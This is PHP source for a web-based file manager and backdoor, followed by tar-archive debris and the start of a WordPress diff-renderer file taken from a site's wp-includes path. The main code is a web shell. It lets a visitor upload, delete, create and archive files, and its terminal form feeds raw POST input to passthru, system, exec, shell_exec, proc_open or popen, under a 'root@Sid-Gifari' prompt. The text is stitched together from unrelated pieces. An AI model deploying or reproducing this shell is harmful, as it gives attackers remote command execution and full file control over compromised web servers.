            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
